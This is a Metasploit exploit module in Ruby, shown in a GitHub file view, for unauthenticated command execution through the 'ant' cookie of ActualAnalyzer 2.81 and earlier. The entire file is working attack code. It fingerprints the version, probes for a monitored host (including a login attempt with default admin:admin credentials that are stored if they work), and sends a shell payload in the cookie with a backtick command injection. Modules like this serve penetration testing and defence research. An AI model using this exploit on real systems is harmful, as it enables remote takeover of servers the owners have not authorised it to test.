metasploit-framework/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_e...

243 lines
8.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in
ActualAnalyzer version 2.81 and prior.
The 'aa.php' file allows unauthenticated users to
execute arbitrary commands in the 'ant' cookie.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Harris', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '34450'],
['OSVDB', '110601']
],
'Payload' =>
{
'Space' => 4096, # HTTP cookie
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
['ActualAnalyzer <= 2.81', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 28 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
], self.class)
end
#
# Checks if target is running ActualAnalyzer <= 2.81
#
def check
# check for aa.php
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error("#{peer} - Could not find aa.php")
return Exploit::CheckCode::Safe
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
return Exploit::CheckCode::Detected
end
# check version
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 200 && res.body =~ /title="ActualAnalyzer Lite \(free\) ([\d\.]+)"/
version = $1
vprint_status("#{peer} - Found version: #{version}")
return Exploit::CheckCode::Vulnerable if Gem::Version.new(version) <= Gem::Version.new('2.81')
return Exploit::CheckCode::Detected
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
#
# Try to retrieve a valid analytics host from view.php unauthenticated
#
def get_analytics_host_view
analytics_host = nil
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'view.php'),
'vars_post' => {
'id_h' => '',
'listp' => '',
'act_h' => 'vis_int',
'oldact' => 'vis_grpg',
'tint_h' => '',
'extact_h' => '',
'home_pos' => '',
'act' => 'vis_grpg',
'tint' => 'total',
'grpg' => '201',
'cp_vst' => 'on',
'cp_hst' => 'on',
'cp_htst' => 'on',
'cp_reps' => 'y',
'tab_sort' => '1_1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.body =~ /<option value="?[\d]+"?[^>]*>Page: https?:\/\/([^\/^<]+)/
analytics_host = $1
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
else
vprint_status("#{peer} - Could not find any hosts on view.php")
end
analytics_host
end
#
# Try to retrieve a valid analytics host from code.php unauthenticated
#
def get_analytics_host_code
analytics_host = nil
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'code.php'),
'vars_get' => {
'pid' => '1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/([^\/^']+)/
analytics_host = $1
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
else
vprint_status("#{peer} - Could not find any hosts on code.php")
end
analytics_host
end
#
# Try to retrieve a valid analytics host from admin.php with creds
#
def get_analytics_host_admin
analytics_host = nil
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'vars_post' => {
'uname' => user,
'passw' => pass,
'id_h' => '',
'listp' => '',
'act_h' => '',
'oldact' => 'pages',
'tint_h' => '',
'extact_h' => '',
'param_h' => '',
'param2_h' => '',
'home_pos' => '',
'act' => 'dynhtml',
'set.x' => '11',
'set.y' => '11'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && res.body =~ />Login</
vprint_status("#{peer} - Login failed.")
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/([^\/^']+)/
analytics_host = $1
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
print_good("#{peer} - Login successful! (#{user}:#{pass})")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
else
vprint_status("#{peer} - Could not find any hosts on admin.php")
end
analytics_host
end
def exploit
if datastore['ANALYZER_HOST'].nil? || datastore['ANALYZER_HOST'] == ''
analytics_host = get_analytics_host_code
analytics_host = get_analytics_host_view if analytics_host.nil?
analytics_host = get_analytics_host_admin if analytics_host.nil?
analytics_host = vhost if analytics_host.nil?
else
analytics_host = datastore['ANALYZER_HOST']
end
vuln_cookies = %w(anw anm)
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'aa.php'),
'vars_get' => { 'anp' => analytics_host },
'cookie' => "ant=#{payload.encoded}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
)
if !res
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
print_good("#{peer} - Payload sent successfully")
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
fail_with(Failure::BadConfig, "#{peer} - Host '#{analytics_host}' is not monitored by ActualAnalyzer. set ANALYZER_HOST to specify.")
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end
end